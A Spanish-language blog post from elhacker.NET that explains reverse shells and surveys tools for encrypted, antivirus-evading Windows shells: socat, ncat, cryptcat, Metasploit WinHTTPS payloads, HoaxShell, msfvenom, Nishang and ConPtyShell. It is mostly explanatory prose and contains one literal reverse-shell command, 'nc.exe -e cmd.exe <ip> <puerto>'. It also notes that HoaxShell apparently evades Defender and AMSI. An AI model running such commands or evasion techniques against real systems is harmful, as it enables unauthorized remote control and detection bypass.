Entradas Mensuales

Síguenos en:

Canal Oficial Telegram de elhacker.NET Grupo Facebook elhacker.NET Twitter elhacker.NET Canal Youtube elhacker.NET Comunidad Steam: Grupo elhacker.NET Mastodon

Entradas populares

PostHeaderIcon ¿Qué es una shell inversa?


Una reverse shell (o "shell inversa") es una técnica utilizada en ciberseguridad y piratería informática que implica establecer una conexión entre un atacante y una máquina objetivo, permitiendo al atacante ejecutar comandos en la máquina remota de forma remota. Esta técnica es comúnmente utilizada por los hackers para obtener acceso no autorizado a sistemas informáticos y tomar el control de ellos.

 

 


 

 

Una "shell inversa" (reverse shell) es una técnica utilizada en ciberseguridad que permite la comunicación remota con un sistema comprometido. En un escenario normal, un cliente se comunica con un servidor que escucha activamente las conexiones entrantes; sin embargo, en una shell inversa, estos roles se invierten.


 

¿Qué es una shell inversa?

Una shell es una terminal conectada a distancia con otra que permite ejecutar comandos de manera remota en un servidor. Esto es útil en diferentes escenarios, pero, sobre todo, puede ser aprovechado por un atacante para robar información sensible o ejecutar tareas maliciosas en un sistema.

Una shell inversa se refiere a un proceso en el que la máquina de la víctima se conecta a la del atacante para recibir comandos. Es una técnica eficiente, ya que evade los firewalls y filtros de seguridad del tráfico que ingresa al ordenador. Por eso, los atacantes suelen utilizar este tipo de shells y es recomendable también hacerlo en tests de intrusión.

Una shell directa, por el contrario, es mucho menos utilizada, pero vale la pena saber que existe y que se puede ejecutar. Se refiere a un proceso mediante el cual la máquina del atacante se conecta a la de la víctima, con el fin de enviarle comandos para ejecutar. Ahora bien, este proceso es menos recomendable, ya que entonces necesitaría pasar todos los filtros de seguridad de tráfico web de un ordenador. Por eso, no se suele utilizar.


 

¿Qué es una Shell Inversa?

  1. Comunicación Invertida: En lugar de que el atacante (cliente) inicie una conexión al sistema comprometido (servidor), el sistema comprometido establece la conexión con el atacante. Esto es especialmente útil para sortear firewalls y otros sistemas de seguridad que pueden bloquear las conexiones entrantes pero permiten las salientes.

  2. Control Remoto: Una vez establecida la conexión, la shell inversa permite al atacante controlar el sistema a través de la línea de comandos o, en casos más avanzados, mediante una interfaz gráfica de usuario, permitiendo la ejecución de comandos, la manipulación de archivos, y otras actividades.


Uso de PowerShell en Red Teaming y Active Directory:

  1. Integración con Windows: PowerShell es una interfaz de línea de comandos y lenguaje de scripting incorporado en Windows, lo que lo hace disponible en casi todos los sistemas Windows sin requerir la instalación de software adicional.

  2. Acceso y Manipulación de Active Directory: PowerShell proporciona comandos y acceso directo a los servicios de Active Directory, lo que permite a los usuarios crear, modificar y eliminar objetos de AD, ejecutar consultas, y administrar políticas y seguridad. En manos de un atacante, esto se puede utilizar para explotar configuraciones incorrectas, escalar privilegios y moverse lateralmente en la red.

  3. Ejecución de Scripts: Los atacantes pueden utilizar PowerShell para ejecutar scripts maliciosos y comandos en la memoria (técnica conocida como "fileless" o sin archivo), reduciendo la posibilidad de detección por antivirus que monitorean principalmente el sistema de archivos.

  4. Bypass de Controles de Seguridad: PowerShell permite a los atacantes evadir controles de seguridad mediante la utilización de técnicas avanzadas como la inyección de DLLs, reflexión, y la invocación de código C# directamente desde scripts de PowerShell.

Necesidad de Cargas Útiles Indetectables:

  1. Evasión de Antivirus/Antimalware: Las soluciones modernas de antivirus y antimalware utilizan una combinación de firmas, heurísticas y análisis de comportamiento para detectar amenazas. Las cargas útiles deben ser indetectables (a menudo mediante ofuscación, empaquetamiento o cifrado) para evitar estas detecciones y permitir la ejecución exitosa del ataque.

  2. Mantenimiento del Acceso: En operaciones de red team, a menudo es importante mantener el acceso al sistema comprometido para realizar reconocimiento, exfiltración de datos o establecimiento de presencia persistente. Una carga útil detectable puede ser eliminada por soluciones de seguridad, interrumpiendo la operación.

  3. Efectividad de la Simulación de Amenazas: Las operaciones de red team tienen como objetivo simular ataques reales y avanzados. Dado que los actores de amenazas reales están constantemente desarrollando cargas útiles indetectables, el red team debe hacer lo mismo para proporcionar una evaluación realista de la postura de seguridad de una organización.

 

Cómo crear una reverse shell cifrada

Para ver claramente lo que pasa cuando se establece una conexión reversa con netcat u otra utilidad, se puede iniciar un sniffer y capturar el tráfico. Si la herramienta o rutina utilizada no implementa algún mecanismo de cifrado, se podrán ver en los paquetes de datos los comandos enviados por el atacante y las respuestas devueltas por la víctima.

 

Socat con OpenSSL

Partiendo del fichero PEM generado anteriormente, otra alternativa que puede ser interesante consiste en utilizar Socat. El procedimiento también es muy sencillo, aunque en la máquina comprometida tiene que estar instalada dicha herramienta y este requisito no siembre se cumple. En todo caso, es otra opción que merece la pena conocer y tener en cuenta.

Cifrar la conexión con Ncat

Nc.exe

Al igual que tenemos netcat en linux y sus respectivos binarios para ese sistema, existen los binarios respectivos para Windows, tanto de 32 bits (nc.exe) como de 64 bits (nc64.exe), se pueden descargar desde aquí.

En este caso, podemos además de descargarlo y ejecutarlo, ejecutarlo directamente desde un recurso compartido que nosotros nos montemos (esto lo comento como alternativa a la descarga de un ejecutable).

La sintaxis del nc.exe sería la siguiente:



nc.exe -e cmd.exe <ip> <puerto>

 

Ncat ha sido desarrollada con la idea de evolucionar Netcat y soportar protocolos como TCP y UDP sobre IPv4/IPv6. Partiendo de esta idea, es tan potente como Socat y permite establecer todo tipo de conexiones siguiendo el modelo cliente-servidor. Una de alternativas de uso de Ncat consiste en el cifrado de la conexión, sin embargo, tal y como ocurre con Socat, la herramienta debe estar instalada tanto en el cliente como en el servidor.

 

Cifrado con Cryptcat

Es una herramienta de la que ya se ha hablado en este post en dos ocasiones: aquí y aquí. Por lo tanto no me extenderé demasiado, solamente mencionar que funciona tanto para sistemas Windows y Linux, cifra el tráfico usando Twofish y permite el establecimiento de una clave simétrica compartida.

Payloads de Metasploit Framework

En el mundo de Metasploit Framework existen algunos payloads que soportan el cifrado extremo a extremo y concretamente, los que permiten utilizar HTTPS por medio de la API WinHTTP son especialmente interesantes ya que permiten aplicar técnicas de “Certificate Pinning” de tal manera que el handler de Metasploit Framework solamente aceptará conexiones dependiendo del hash del certificado TLS/SSL establecido.
Para hacer esto se puede generar un certificado PEM utilizando OpenSSL como se ha visto en el post anterior, pero existe otra opción que es igualmente interesante y consiste en utilizar el módulo “impersonate_ssl” disponible en Metasploit Framework.

Utilizar dicho módulo es muy sencillo ya que el único argumento que recibe es “RHOSTS” en donde se indica el dominio del que se extraerá su certificado y posteriormente se utilizará para generar uno nuevo autofirmado. Este módulo simplemente obtiene la información básica del certificado legitimo del sitio indicado y la utiliza para generar un fichero en formato PEM o DER.

El siguiente paso consiste en utilizar un payload de WinHTTP, por ejemplo windows/x64/meterpreter/reverse_winhttps. Simplemente, hay que tener en cuenta que se debe indicar el certificado autofirmado generado previamente y que es obligatorio verificar la conexión SSL con el stager.

Finalmente, basta con iniciar el handler de Metasploit para recibir la conexión, aunque se debe indicar el mismo payload y las opciones correctas, tal como se puede apreciar en vídeo de YouTube que acompaña éste post.

Usar HoaxShell para Windows

HoaxShell es un proyecto interesante que ha sido creado recientemente. Permite crear conexiones reversas por medio de powershell, lo que le hace especialmente interesante en entornos Windows. Cuenta con algunas pocas opciones, pero destacan aquellas que permiten establecer una conexión cifrada entre la víctima y el atacante, ya sea utilizando un certificado auto-firmado o uno confiable.

Cuando se ejecuta la herramienta, automáticamente genera el comando que se debe ejecutar en al máquina objetivo y levanta el puerto 8080 (HTTP) o 443 (HTTPS) para recibir conexiones.

Una vez se ejecuta el payload en la máquina víctima, se recibirá una shell con Powershell y como se ha mencionado antes, si se cifra el tráfico por medio de TLS con una clave y un certificado PEM, los paquetes de datos transmitidos entre víctima y atacante estarán cifrados, dificultando de esta manera la detección de la shell.

Otra característica interesante de esta shell es que el Windows Defender de Windows 10 y 11, en la fecha en la que se redacta este post, no detecta la ejecución del payload como una amenaza y el AMSI no realiza ningún tipo de bloqueo, permitiendo su ejecución. Aunque como siempre ocurre con este tipo de utilidades, es simplemente cuestión de tiempo para que empiece a ser detectado.

Msfvenom

Msfvenom no solo es útil cuando nos generamos shellcodes para los Buffer Overflow, también lo es para crear binarios que nos ejecuten una shell en Windows. En concreto, los dos payloads que nos pueden interesar (aunque hay más y de muchos tipos) son los siguientes:

Powershell Reverse Shell One-Liner

Powershell es un lenguaje muy potente y permite hacer muchisimas cosas, veremos scripts muy útiles después. Pero antes de ir a ellos, está bien saber que existe una sentencia de powershell la cual nos entabla una reverse shell y todo en un comando de una sola línea.

El comando en cuestión lo podéis encontrar en este enlace.

Personalmente, no recomiendo mucho esta forma, al menos, una ejecución directa, ya que, como podemos ver, es un comando el cual contiene muchísimos símbolos y muchas variables, lo cual puede dificultar su ejecución desde una webshell o una cmd, lo recomendable es ejecutarlo desde una powershell directamente.

En cualquier caso, siempre hay que conocer alternativas y opciones disponibles. Por lo que una vez dicho esto, procedemos con la ejecución, que es bastante sencilla, simplemente tenemos que cambiar la IP y el puerto del comando original:

Nishang

Nishang es un repositorio el cual contiene una gran cantidad de scripts de powershell usados para la seguridad ofensiva. Su repositorio oficial es el que podéis visitar en este enlace.

Entre todos los scripts que tiene, hay uno en concreto bastante famoso llamado «Invoke-PowerShellTcp.ps1«, el cual, como no, nos invoca una reverse shell con una powershell.

ConPtyShell

ConPtyShell es una herramienta la cual nos permite obtener una shell completamente interactiva en sistemas Windows. Esto quiere decir que podemos hacer Ctrl C sin peligro a perder la shell o podemos recuperar comandos usados previamente usando la flechita hacia arriba. Su repositorio oficial lo podéis encontrar en este enlace.

El proceso para ejecutarlo prácticamente va a ser el mismo que con el script de nishang, ya que este se trata de otro script de powershell.

 

Fuentes:

https://deephacking.tech/reverse-shells-en-windows/ 

https://thehackerway.es/2022/11/09/como-crear-una-reverse-shell-cifrada-parte-1-de-2/


0 comentarios :

Publicar un comentario

Los comentarios pueden ser revisados en cualquier momento por los moderadores.

Serán publicados aquellos que cumplan las siguientes condiciones:
- Comentario acorde al contenido del post.
- Prohibido mensajes de tipo SPAM.
- Evite incluir links innecesarios en su comentario.
- Contenidos ofensivos, amenazas e insultos no serán permitidos.

Debe saber que los comentarios de los lectores no reflejan necesariamente la opinión del STAFF.